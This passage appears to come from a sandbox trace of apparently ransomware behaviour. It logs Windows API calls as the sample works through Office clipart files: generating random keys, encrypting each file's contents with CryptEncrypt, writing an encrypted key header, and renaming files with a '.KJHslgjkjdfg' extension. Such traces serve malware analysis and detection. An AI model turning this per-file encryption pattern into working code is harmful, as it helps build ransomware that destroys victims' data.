liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.721] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.721] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.721] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.721] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa6d0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa6d0, lpOverlapped=0x0) returned 1 [0195.722] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa6d0, dwBufLen=0xa6d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa6d0) returned 1 [0195.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.723] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa6d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa6d0, lpOverlapped=0x0) returned 1 [0195.723] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.723] SetEndOfFile (hFile=0x130) returned 1 [0195.725] GetProcessHeap () returned 0x2ef0000 [0195.726] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.726] GetProcessHeap () returned 0x2ef0000 [0195.726] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.kjhslgjkjdfg")) returned 1 [0195.727] CloseHandle (hObject=0x130) returned 1 [0195.727] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fdeb00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95fdeb00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00965_.WMF", cAlternateFileName="")) returned 1 [0195.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.729] GetProcessHeap () returned 0x2ef0000 [0195.729] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.729] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.729] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.730] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.730] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.730] GetProcessHeap () returned 0x2ef0000 [0195.730] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.731] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.731] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.731] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.731] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.731] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.731] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.731] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.731] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3b3c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3b3c, lpOverlapped=0x0) returned 1 [0195.732] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b40, dwBufLen=0x3b40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b40) returned 1 [0195.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.733] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3b40, lpOverlapped=0x0) returned 1 [0195.733] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.733] SetEndOfFile (hFile=0x130) returned 1 [0195.735] GetProcessHeap () returned 0x2ef0000 [0195.735] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.735] GetProcessHeap () returned 0x2ef0000 [0195.735] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.kjhslgjkjdfg")) returned 1 [0195.736] CloseHandle (hObject=0x130) returned 1 [0195.736] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963a600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9963a600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x121a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01074_.WMF", cAlternateFileName="")) returned 1 [0195.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.736] GetProcessHeap () returned 0x2ef0000 [0195.736] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.736] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.736] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0195.760] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.760] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.760] GetProcessHeap () returned 0x2ef0000 [0195.760] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.760] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.760] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.760] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.760] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.761] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.761] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x121a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x121a, lpOverlapped=0x0) returned 1 [0195.762] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1220, dwBufLen=0x1220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1220) returned 1 [0195.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.762] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1220, lpOverlapped=0x0) returned 1 [0195.762] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.762] SetEndOfFile (hFile=0x130) returned 1 [0195.765] GetProcessHeap () returned 0x2ef0000 [0195.765] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.765] GetProcessHeap () returned 0x2ef0000 [0195.765] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.kjhslgjkjdfg")) returned 1 [0195.767] CloseHandle (hObject=0x130) returned 1 [0195.767] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0195.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.768] GetProcessHeap () returned 0x2ef0000 [0195.768] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.768] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.768] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.770] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.770] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.770] GetProcessHeap () returned 0x2ef0000 [0195.770] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.770] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.770] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.770] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.770] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.771] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.771] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.771] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.771] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.771] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x96c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x96c, lpOverlapped=0x0) returned 1 [0195.771] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x970, dwBufLen=0x970 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x970) returned 1 [0195.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.771] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x970, lpOverlapped=0x0) returned 1 [0195.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.771] SetEndOfFile (hFile=0x130) returned 1 [0195.772] GetProcessHeap () returned 0x2ef0000 [0195.772] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.773] GetProcessHeap () returned 0x2ef0000 [0195.773] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.kjhslgjkjdfg")) returned 1 [0195.774] CloseHandle (hObject=0x130) returned 1 [0195.774] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0195.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.775] GetProcessHeap () returned 0x2ef0000 [0195.775] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.775] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.777] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.777] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.777] GetProcessHeap () returned 0x2ef0000 [0195.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.777] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.777] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.777] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.777] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.777] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.778] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.778] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.778] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.778] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.778] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x4dff27c, 